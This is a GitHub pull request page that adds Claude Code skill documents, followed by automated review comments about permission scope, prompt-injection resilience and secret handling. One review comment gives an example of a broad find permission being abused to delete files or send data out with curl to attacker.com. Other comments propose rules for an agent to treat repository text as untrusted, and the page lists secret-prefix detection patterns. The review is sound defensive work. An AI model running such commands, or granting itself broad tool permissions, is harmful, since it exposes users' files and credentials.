Skip to content

feat: add 13 Claude Code harness skills#2551

Open
xlilbirbdev wants to merge 2 commits into
affaan-m:mainfrom
xlilbirbdev:main
Open

feat: add 13 Claude Code harness skills#2551
xlilbirbdev wants to merge 2 commits into
affaan-m:mainfrom
xlilbirbdev:main

Conversation

@xlilbirbdev

Copy link
Copy Markdown

Adds skills for core Claude Code workflows: update-config, keybindings-help, verify, code-review, simplify, fewer-permission-prompts, loop, schedule, claude-api, run, init, review, and extends security-review with a branch audit workflow.

What Changed

Why This Change

Testing Done

  • Manual testing completed
  • Automated tests pass locally (node tests/run-all.js)
  • Edge cases considered and tested

Type of Change

  • fix: Bug fix
  • feat: New feature
  • refactor: Code refactoring
  • docs: Documentation
  • test: Tests
  • chore: Maintenance/tooling
  • ci: CI/CD changes

Security & Quality Checklist

  • No secrets or API keys committed (ghp_, sk-, AKIA, xoxb, xoxp patterns checked)
  • JSON files validate cleanly
  • Shell scripts pass shellcheck (if applicable)
  • Pre-commit hooks pass locally (if configured)
  • No sensitive data exposed in logs or output
  • Follows conventional commits format

If you changed dependencies or package.json (bin / files / deps)

  • Ran yarn install --mode=update-lockfile and committed the yarn.lock change. CI runs Yarn in hardened mode on public PRs and fails if the lockfile would be modified, so an out of date yarn.lock breaks the build even when nothing else is wrong.

If you added a skill, command, agent, hook, or CLI tool

  • Registered in package.json (bin and files), manifests/install-components.json, manifests/install-modules.json, and agent.yaml
  • Regenerated the catalog (npm run catalog:sync) and command registry (npm run command-registry:write)
  • Updated the docs tables it belongs in (README.md, COMMANDS-QUICK-REF.md, docs/COMMAND-AGENT-MAP.md)
  • If it ships a new script path, added it to the publish surface allowlist (tests/scripts/npm-publish-surface.test.js)
  • Cross-harness surfaces updated if applicable (for Codex, .agents/skills/<name>/ plus agents/openai.yaml; the Codex frontmatter validator allows only name, description, metadata, license, allowed-tools, so drop keys like version from that copy)
  • Full gauntlet passes locally (npm test)

Documentation

  • Updated relevant documentation
  • Added comments for complex logic
  • README updated (if needed)

Adds skills for core Claude Code workflows: update-config, keybindings-help,
verify, code-review, simplify, fewer-permission-prompts, loop, schedule,
claude-api, run, init, review, and extends security-review with a branch
audit workflow.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@xlilbirbdev
xlilbirbdev requested a review from affaan-m as a code owner July 23, 2026 19:02
@ecc-tools

ecc-tools Bot commented Jul 23, 2026

Copy link
Copy Markdown
Contributor

ECC bundle files are already tracked in this repository. Skipping generation of another bundle PR.

@coderabbitai

coderabbitai Bot commented Jul 23, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

📝 Walkthrough

Summary by CodeRabbit

  • New Features

    • Added comprehensive skill guides for Claude API usage, code review, security review, verification, project initialization, configuration, scheduling, loops, keyboard shortcuts, and application launch workflows.
    • Added guidance for simplifying code changes, reducing permission prompts, and conducting end-to-end pull request reviews.
  • Documentation

    • Included practical workflows, command examples, configuration guidance, troubleshooting advice, and references to related skills.

Walkthrough

Adds 12 Claude Code skill documents covering Anthropic API usage, code and security reviews, runtime verification, project initialization, configuration, keyboard shortcuts, permissions, and recurring automation.

Changes

Claude API guidance

Layer / File(s) Summary
Anthropic API skill guide
skills/claude-api/SKILL.md
Documents SDK activation rules, model IDs, prompt caching, tools, extended thinking, streaming, batching, migration, and troubleshooting.

Review and validation workflows

Layer / File(s) Summary
Review and security workflows
skills/code-review/SKILL.md, skills/review/SKILL.md, skills/security-review/SKILL.md, skills/simplify/SKILL.md
Defines local and PR review workflows, security scanning, simplification behavior, review boundaries, finding ranking, and reporting formats.
Runtime launch and verification
skills/run/SKILL.md, skills/verify/SKILL.md
Documents project launch discovery, runtime validation, changed-feature exercises, regression checks, and verification reporting.

Project and harness configuration

Layer / File(s) Summary
CLAUDE.md initialization workflow
skills/init/SKILL.md
Defines repository discovery, CLAUDE.md generation rules, template sections, and validation checks.
Permission and keyboard customization
skills/fewer-permission-prompts/SKILL.md, skills/keybindings-help/SKILL.md
Documents narrow permission allowlists, pattern syntax, keybinding formats, chords, customization examples, and reload steps.
Persistent harness settings
skills/update-config/SKILL.md
Documents settings locations, hooks, permissions, environment variables, validation, and troubleshooting.

Session and scheduled automation

Layer / File(s) Summary
Loop and schedule workflows
skills/loop/SKILL.md, skills/schedule/SKILL.md
Documents recurring loop invocation, interval behavior, scheduled routine lifecycle commands, cron syntax, and one-time runs.

Estimated code review effort: 3 (Moderate) | ~20 minutes

Suggested reviewers: affaan-m

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Title check ✅ Passed The title matches the main change: adding Claude Code harness skills and a security-review extension.
Description check ✅ Passed The description accurately summarizes the added skills and the security-review workflow update.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@ecc-tools

ecc-tools Bot commented Jul 23, 2026

Copy link
Copy Markdown
Contributor

ECC bundle files are already tracked in this repository. Skipping generation of another bundle PR.

@greptile-apps

greptile-apps Bot commented Jul 23, 2026

Copy link
Copy Markdown
Contributor

Greptile Summary

This PR adds 12 new SKILL.md files for core Claude Code harness workflows (update-config, keybindings-help, verify, code-review, simplify, fewer-permission-prompts, loop, schedule, claude-api, run, init, review) and extends the existing security-review skill with a branch-audit workflow mode.

  • All 12 new skills follow the established SKILL.md frontmatter format and will be auto-discovered by the plugin glob without any manifest wiring changes.
  • The modified security-review skill prepends a new "Branch Security Review" mode with diff-fetching and grep-based pattern scanning, preserving the original general checklist.
  • One concrete security issue stands out: fewer-permission-prompts lists Bash(find . *) as a safe read-only candidate and includes it verbatim in the example settings.json allowlist — but this glob pattern also permits destructive find invocations like -delete or -exec rm {} \\;, creating tool-permission creep.

Confidence Score: 3/5

Most of the PR is safe documentation, but fewer-permission-prompts ships example allowlist content that an agent will write verbatim into project settings, and the Bash(find . *) entry in that example grants destructive capability under the guise of a read-only operation.

The fewer-permission-prompts skill ships example settings.json content that an agent will write verbatim into a project's Claude allowlist. The Bash(find . *) entry frames a destructive-capable pattern as read-only safe, and that guidance directly affects what gets installed in user environments.

skills/fewer-permission-prompts/SKILL.md — the example allowlist JSON and common-candidates list both need the find pattern narrowed before this is shipped.

Important Files Changed

Filename Overview
skills/fewer-permission-prompts/SKILL.md New skill for reducing permission prompts; misleadingly classifies Bash(find . *) as a safe read-only candidate and includes it in the example allowlist JSON, creating tool-permission creep risk.
skills/update-config/SKILL.md New skill for editing settings.json hooks and permissions; hook example uses an unquoted $CLAUDE_TOOL_INPUT_FILE_PATH env var that would break on paths containing spaces.
skills/security-review/SKILL.md Extended with a branch-review mode; grep patterns are appropriately targeted and the output format is clear.
skills/schedule/SKILL.md New skill for scheduled remote agents; one-time run examples use hardcoded 2024 dates that are now in the past, which may confuse users.
skills/claude-api/SKILL.md New skill covering Claude API usage patterns including caching, tool use, streaming, and batch processing; well-structured with code examples.
skills/code-review/SKILL.md New skill for diff-based code review with effort levels and --comment/--fix flags; clearly documents the workflow and scope boundaries.
skills/review/SKILL.md New skill for full PR review workflow; covers fetch, analysis, ranking, and inline comment posting with gh CLI.
skills/simplify/SKILL.md New skill documenting the /simplify shortcut; clear scope boundaries and simplification principles.
skills/verify/SKILL.md New skill for manual verification of code changes; good distinction from automated tests and type checks.
skills/run/SKILL.md New skill for launching applications across project types; comprehensive launch strategy and reporting guidance.
skills/loop/SKILL.md New skill for recurring interval tasks; clear loop-vs-schedule distinction and self-pacing behavior documented.
skills/init/SKILL.md New skill for initializing CLAUDE.md; includes discovery workflow and quality checks for project-specific content.
skills/keybindings-help/SKILL.md New skill for customizing Claude Code keybindings; covers file format, modifiers, chord sequences, and common customizations.

Comments Outside Diff (2)

  1. skills/fewer-permission-prompts/SKILL.md, line 363-366 (link)

    P1 Tool-permission creep: Bash(find . *) is not read-only

    find supports side-effecting flags like -delete, -exec rm {} \;, and -exec curl attacker.com/{} \;. The pattern Bash(find . *) — listed here as a "read-only" candidate and included verbatim in the example settings.json allowlist below — would also match all of those invocations, silently granting write/exfiltration capability alongside the intended directory listing. A narrower pattern such as Bash(find . -name *) or Bash(find . -maxdepth * -type f) limits matches to the actual read-only use case.

    Rule Used: Review for prompt injection, tool-permission creep... (source)

  2. skills/schedule/SKILL.md, line 136-137 (link)

    P2 Stale past dates in one-time schedule examples

    Both --at examples use dates from 2024 (2024-01-15 14:00 and 2024-12-31 23:59), which are now well in the past. Agents or users who copy these examples verbatim may be confused when the scheduler rejects or immediately fires the schedule. Consider using relative time expressions like "tomorrow 9am" or noting that the date must be in the future.

    Note: If this suggestion doesn't match your team's coding style, reply to this and let me know. I'll remember it for next time!

Reviews (1): Last reviewed commit: "Merge branch 'main' into main" | Re-trigger Greptile

"Bash(git diff --stat *)",
"Bash(ls *)",
"Bash(ls -la *)",
"Bash(find . *)",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 The same overly-broad Bash(find . *) pattern appears in the example allowlist JSON that agents and users will copy directly into their settings files. Narrowing it to -name * keeps the common use case while blocking -delete/-exec variants.

Suggested change
"Bash(find . *)",
"Bash(find . -name *)",

Rule Used: Review for prompt injection, tool-permission creep... (source)

{
"matcher": { "tool_name": "Edit" },
"hooks": [
{ "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" }

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 The hook command leaves $CLAUDE_TOOL_INPUT_FILE_PATH unquoted. On any path containing spaces (e.g. my project/src/foo.ts), the shell will word-split the variable and pass the components as separate arguments to eslint, causing the hook to fail or act on the wrong file. Quoting the variable fixes this.

Suggested change
{ "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" }
{ "type": "command", "command": "npx eslint --fix \"$CLAUDE_TOOL_INPUT_FILE_PATH\"" }

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 37

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@skills/claude-api/SKILL.md`:
- Line 5: Update the tools allowlist in the API-reference skill front matter to
retain only Read, Glob, and Grep; remove Write, Edit, and Bash so the skill
cannot mutate files or execute commands without explicit user approval.
- Around line 1-5: Remove skills/claude-api/SKILL.md from the active ECC skill
surface so it no longer conflicts with the externally installed claude-api skill
expected by agent-yaml-surface.test.js. If the content must be retained, move it
to a non-packaged source location and update any packaging references without
changing the test’s expected absence contract.
- Line 10: Update the skill guidance around prompt caching so it is conditional
rather than required for every application. Recommend caching only when stable
prompts, tools, or sufficiently long context are repeated, while allowing
applications with short or non-reused inputs to omit it.
- Around line 27-35: Update the “Current Models” table in the Claude skill
documentation to include the active Claude Opus 4.8 (`claude-opus-4-8`) and
Claude Sonnet 5 (`claude-sonnet-5`) models, revise the date as appropriate, and
change the default recommendation to the current latest top model, Claude Opus
4.8.
- Around line 119-125: Update the claude-opus-4-7 example’s messages.create
thinking configuration to use adaptive thinking rather than the manual
enabled/budget_tokens form. Also revise the related troubleshooting guidance to
state the documented 1,024-token minimum for legacy manual thinking mode.

In `@skills/code-review/SKILL.md`:
- Around line 3-5: Update the tools declaration in the skill metadata to include
the write-capable tool required by the --fix workflow, such as Write or Edit,
while preserving the existing review and comment functionality.
- Around line 8-12: Each affected skill document lacks the required
documentation sections. Add explicit “How It Works” and “Examples” sections to
skills/code-review/SKILL.md, skills/review/SKILL.md,
skills/security-review/SKILL.md, skills/simplify/SKILL.md, skills/run/SKILL.md,
and skills/verify/SKILL.md, with content appropriate to each skill and
consistent with the repository format.
- Around line 37-48: Update the workflows to capture the complete pending change
set: in skills/code-review/SKILL.md (lines 37-48),
skills/security-review/SKILL.md (lines 16-22), skills/simplify/SKILL.md (lines
25-31), and skills/verify/SKILL.md (lines 27-32), include both staged and
unstaged working-tree diffs alongside the appropriate branch-base or
committed-branch diff. Ensure verify uses the actual branch base, while security
review includes committed branch changes plus local staged and unstaged changes.

In `@skills/fewer-permission-prompts/SKILL.md`:
- Around line 33-45: Update the skill document structure by adding a dedicated
“## Examples” section and moving the candidate allowlist entries beneath it.
Preserve all existing entries unchanged and keep them grouped under that
heading.
- Around line 33-45: Narrow wildcard permission rules throughout the documented
candidates: in skills/fewer-permission-prompts/SKILL.md lines 33-45, constrain
or remove broad patterns such as find; in lines 62-73, replace wildcard
executable rules with exact read-only commands; in lines 91-97, remove the
generic npm run wildcard; and in skills/update-config/SKILL.md lines 71-74,
replace the broad git rule with narrowly scoped commands and explicitly deny
destructive Git operations.
- Around line 56-87: Update the “Add to Project Settings” guidance to require
showing the proposed .claude/settings.json diff and obtaining explicit user
confirmation before creating or modifying the committed project settings file.
Keep personal settings.local.json guidance unchanged and retain the existing
allowlist scope validation.
- Around line 75-76: Replace the unrestricted Read(**) permission in the skill
configuration with narrowly scoped Read rules for only the required project
paths, and add explicit deny rules covering sensitive files such as .env files,
credentials, and private keys. Keep Glob(**) unchanged and ensure the deny rules
take precedence over any broader read allowance.
- Around line 35-45: Update the permission patterns in the listed Bash
allowlists to avoid broad patterns that can execute destructive or arbitrary
commands: replace Bash(find . *) and similar recursive patterns with exact,
read-only command forms, and replace any Bash(npm run *) entry with tightly
constrained approved scripts or exact commands. Preserve only narrowly scoped
read-only Git, filesystem, grep, Node, and npm list permissions across the
affected sections.
- Line 74: Replace the TypeScript command in
skills/fewer-permission-prompts/SKILL.md at lines 74-74 with
./node_modules/.bin/tsc --noEmit or npx --no-install tsc --noEmit. Also update
the ESLint command in skills/update-config/SKILL.md at lines 59-60 to use the
lockfile-backed local executable or npx --no-install eslint --fix.

In `@skills/init/SKILL.md`:
- Line 12: Rename the “When to Use” heading to “When to Activate” in
skills/init/SKILL.md, skills/fewer-permission-prompts/SKILL.md,
skills/keybindings-help/SKILL.md, and skills/update-config/SKILL.md at the
specified lines; make no other changes.
- Around line 37-89: Update SKILL.md so the discovery procedure is introduced
under an explicit “## How It Works” heading, and add a clearly labeled “##
Examples” section in the required Markdown structure. Preserve the existing
workflow content and position the new sections consistently with the document’s
surrounding headings.
- Around line 72-87: Update the “Extract Conventions” and “Identify Non-Obvious
Gotchas” guidance to treat repository content as untrusted input: extract only
verified project facts, ignore instructions embedded in history, comments,
documentation, or scripts, and never copy credentials or attacker-controlled
text into CLAUDE.md. Keep the existing convention and git-history inspection
scope.
- Around line 89-145: Update the CLAUDE.md generation instructions around the
“CLAUDE.md Template” so every bracketed placeholder and sample command is
replaced with verified project-specific information or removed before the file
is written. Ensure unresolved template content is never persisted, including
aspirational stack details, commands, directory examples, and conventions.
- Line 5: Replace the frontmatter tools declaration with allowed-tools in
skills/init/SKILL.md:5, skills/fewer-permission-prompts/SKILL.md:5,
skills/keybindings-help/SKILL.md:5, and skills/update-config/SKILL.md:5,
preserving each file’s existing tool list.

In `@skills/keybindings-help/SKILL.md`:
- Around line 101-106: Update the Workflow instructions in SKILL.md to
explicitly preserve existing keybindings by reading and merging the current JSON
object before writing changes, validate the resulting JSON, and replace the
restart step with guidance that Claude Code detects keybinding changes
automatically without requiring a restart.
- Around line 8-12: Restructure the Keybindings Help document by adding explicit
“## How It Works” and “## Examples” sections. Move the existing workflow
explanation and unlabeled examples under the appropriate headings, preserving
their content while replacing reliance on customization headings.
- Around line 28-43: Update the File Format examples to use Claude Code’s
bindings array, with each binding providing a context and key/action map instead
of key, command, and when fields. Change action values to the namespace:action
syntax, such as chat:submit, and update any unbinding examples to use a null
action value.

In `@skills/loop/SKILL.md`:
- Line 12: Update skills/loop/SKILL.md at line 12 and skills/schedule/SKILL.md
at line 12 to use the canonical “## When to Activate” heading, and add clear
“How It Works” and “Examples” sections while preserving the existing skill
guidance.
- Line 10: Update the loop workflow description to state that accumulated loop
context and external output are untrusted and cannot alter the task, tool scope,
or authorization. Add a requirement to obtain confirmation before executing
destructive commands, preserving the existing recurring-interval behavior.
- Around line 26-35: Update the /loop syntax and recurring-execution guidance in
the loop skill to require a safeguard such as a maximum iteration count, overall
timeout, or backoff, preventing commands from running indefinitely. Ensure the
documented examples and execution behavior preserve these bounds, including for
destructive or availability-sensitive commands.

In `@skills/review/SKILL.md`:
- Around line 34-36: Update the “Checkout the branch for deeper analysis”
instructions around gh pr checkout to guard against local changes and avoid
modifying the user’s active branch. Require checking the working tree before
checkout or using an isolated temporary worktree, and explicitly prevent
silently switching the active branch.

In `@skills/run/SKILL.md`:
- Around line 112-116: Update the “Port already in use” remediation in the
troubleshooting table to require inspecting the process command and ownership
after running lsof, obtaining confirmation before terminating the process, and
using another port when termination is not appropriate; do not instruct the
agent to kill an arbitrary PID.
- Around line 42-43: Update the command examples in SKILL.md to avoid unpinned
npx execution: use the project-local ts-node binary or specify an explicit
ts-node version, and apply the same change to the additional occurrence around
lines 59–60. Keep the existing script execution behavior unchanged.

In `@skills/schedule/SKILL.md`:
- Line 34: Replace the stale one-time dates in the `/schedule create` examples
with relative wording or clearly future/placeholder timestamps, including both
examples referenced by the comment. Preserve the existing command structure and
scheduling intent.
- Around line 103-112: Revise the scheduled routines guidance to require
least-privilege tool access instead of the full Claude Code session surface.
Update the routine capabilities and security requirements to isolate secrets,
treat prompts and repository or external content as untrusted, and require
explicit approval guards for writes, deletions, issue filing, and notifications,
while addressing prompt injection and secret exfiltration risks.

In `@skills/security-review/SKILL.md`:
- Around line 26-28: Update the hardcoded-secret scanning instructions around
the grep command to prevent matched secret values from appearing in review
output. Replace raw matching-line reporting with filename and line-number
reporting, redact secret values in any findings, and explicitly preserve the
rule that credentials and tokens must never be included in the agent transcript
or posted review.
- Around line 24-41: Update the “Scan for High-Risk Patterns” section to derive
a changed-file list first and run all checks only against those files. Expand
language-specific patterns to cover secrets in YAML, JSON, and shell files;
Python eval/exec; JavaScript template-string SQL; and additional dangerous
deserialization forms, while preserving appropriate file-type filters for each
pattern.

In `@skills/update-config/SKILL.md`:
- Around line 50-65: Add an explicit “## Examples” heading in SKILL.md before
the hook, permission, and environment configuration snippets, grouping all of
those examples under that section while preserving their existing content.
- Around line 81-89: Update the “Setting an Environment Variable” guidance in
SKILL.md to explicitly keep API keys and other secrets out of the shared project
env block, and direct users to store sensitive values in user or local settings
instead. Preserve the existing non-sensitive environment variable example.
- Around line 100-108: Update the “Command exits non-zero” bullet in the Hook
Troubleshooting section to state that exit code 2 blocks most actions, while
exit code 1 is a non-blocking error; preserve the existing distinction that
behavior may vary by hook event.
- Around line 54-60: Update the PostToolUse hook example in the hooks
configuration to use a string matcher such as "Edit" instead of an object.
Replace the direct eslint command with a wrapper script that reads event JSON
from stdin, verifies tool_name is "Edit" and tool_input.file_path exists, then
invokes npx eslint --fix with the path safely quoted.

In `@skills/verify/SKILL.md`:
- Around line 43-56: Update the “Run the App” section so npm test is removed
from the application-launch commands and documented as a separate
smoke/regression step. Require starting the relevant application process,
exercising the changed behavior, and observing its result before reporting
success.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: ASSERTIVE

Plan: Pro Plus

Run ID: d9e29919-7f14-46df-ba4c-eab34eb7ce2e

📥 Commits

Reviewing files that changed from the base of the PR and between a3130f9 and 0bb7746.

📒 Files selected for processing (13)
  • skills/claude-api/SKILL.md
  • skills/code-review/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/init/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/loop/SKILL.md
  • skills/review/SKILL.md
  • skills/run/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
  • skills/simplify/SKILL.md
  • skills/update-config/SKILL.md
  • skills/verify/SKILL.md
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
  • GitHub Check: Greptile Review
🧰 Additional context used
📓 Path-based instructions (4)
skills/**/*.md

📄 CodeRabbit inference engine (CLAUDE.md)

Skills should be formatted as Markdown with clear sections for When to Use, How It Works, and Examples.

Files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
{agents,skills,commands}/**/*.md

📄 CodeRabbit inference engine (CLAUDE.md)

Use lowercase filenames with hyphens (e.g., python-reviewer.md, tdd-workflow.md) for agents, skills, and commands.

Files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
skills/**

📄 CodeRabbit inference engine (AGENTS.md)

New workflow contributions should land in skills/ first; skills/ is the canonical workflow surface.

Files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
{skills,commands,agents,rules}/**

⚙️ CodeRabbit configuration file

{skills,commands,agents,rules}/**: Focus on prompt-injection resilience, tool-permission scope, destructive action guards, and secret exfiltration risks.

Files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
🧠 Learnings (2)
📚 Learning: 2026-03-15T19:02:43.245Z
Learnt from: imrobinsingh
Repo: affaan-m/everything-claude-code PR: 503
File: skills/data-scraper-agent/SKILL.md:1-748
Timestamp: 2026-03-15T19:02:43.245Z
Learning: In this repository, skill folders should use a lowercase-hyphen name (e.g., data-scraper-agent, claude-api) and the skill description file inside each folder should be named SKILL.md (uppercase). Do not flag SKILL.md as a naming violation; treat SKILL.md as the canonical file name inside each skill directory.

Applied to files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
📚 Learning: 2026-04-15T15:52:59.963Z
Learnt from: manja316
Repo: affaan-m/everything-claude-code PR: 1360
File: skills/security-bounty-hunter/SKILL.md:11-18
Timestamp: 2026-04-15T15:52:59.963Z
Learning: In this repository’s skills documentation (skills/**/SKILL.md), use the canonical auto-activation skill section header `## When to Activate`—do not use `## When to Use`. CONTRIBUTING.md and docs/SKILL-DEVELOPMENT-GUIDE.md confirm the required header, and existing skills follow this convention. This header is important for the auto-activation mechanism to detect the correct section.

Applied to files:

  • skills/simplify/SKILL.md
  • skills/verify/SKILL.md
  • skills/run/SKILL.md
  • skills/loop/SKILL.md
  • skills/code-review/SKILL.md
  • skills/claude-api/SKILL.md
  • skills/init/SKILL.md
  • skills/fewer-permission-prompts/SKILL.md
  • skills/update-config/SKILL.md
  • skills/review/SKILL.md
  • skills/keybindings-help/SKILL.md
  • skills/schedule/SKILL.md
  • skills/security-review/SKILL.md
🪛 LanguageTool
skills/verify/SKILL.md

[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ting of a feature before pushing - User wants to validate local changes before a code re...

(REP_WANT_TO_VB)

skills/loop/SKILL.md

[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...eck the deploy every 5 minutes") - User wants to poll for status ("keep watching until t...

(REP_WANT_TO_VB)


[style] ~16-~16: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...atching until the build passes") - User wants to run something repeatedly on a schedule ...

(REP_WANT_TO_VB)

skills/init/SKILL.md

[style] ~21-~21: To make your writing flow more naturally, try moving the adverb ‘already’ closer to the verb ‘detailed’.
Context: ...pdates — edit it directly - The project already has detailed CLAUDE.md content — avoid overwriting g...

(PERF_TENS_ADV_PLACEMENT)

skills/update-config/SKILL.md

[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...on to global or project settings - User wants to set an environment variable ("set DEBUG...

(REP_WANT_TO_VB)

skills/keybindings-help/SKILL.md

[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ind a key ("rebind ctrl+s to X") - User wants to add a chord shortcut ("add a chord bind...

(REP_WANT_TO_VB)


[style] ~16-~16: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...shortcut ("add a chord binding") - User wants to change the submit key (default: Enter) ...

(REP_WANT_TO_VB)


[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ... the submit key (default: Enter) - User wants to customize keybindings in general - User...

(REP_WANT_TO_VB)

skills/schedule/SKILL.md

[style] ~15-~15: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...ightly", "every Monday morning") - User wants to set up an automated task ("generate a w...

(REP_WANT_TO_VB)


[style] ~17-~17: You have already used this phrasing in nearby sentences. Consider replacing it to add variety to your writing.
Context: ...morrow", "run this once at 3pm") - User wants to list or manage existing scheduled routi...

(REP_WANT_TO_VB)

🪛 SkillSpector (2.3.11)
skills/run/SKILL.md

[warning] 42: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))

skills/fewer-permission-prompts/SKILL.md

[warning] 74: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 105: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[warning] 21: [EA2] Autonomous Decision Making: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Remediation: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.

(Excessive Agency (EA2))


[warning] 22: [EA2] Autonomous Decision Making: Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Remediation: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.

(Excessive Agency (EA2))


[error] 54: [TM1] Tool Parameter Abuse: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Remediation: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.

(Tool Misuse (TM1))

skills/update-config/SKILL.md

[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Remediation: Pin the version: npx @scope/server@1.2.3

(MCP Rug Pull (RP1))


[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))


[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.

Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.

(Agent Snooping (AS1))

🔇 Additional comments (2)
skills/claude-api/SKILL.md (1)

8-9: LGTM!

Also applies to: 12-25, 41-89, 91-114, 130-160, 162-170, 180-184

skills/schedule/SKILL.md (1)

61-89: 🎯 Functional Correctness

Document the timezone and daylight-saving behavior.

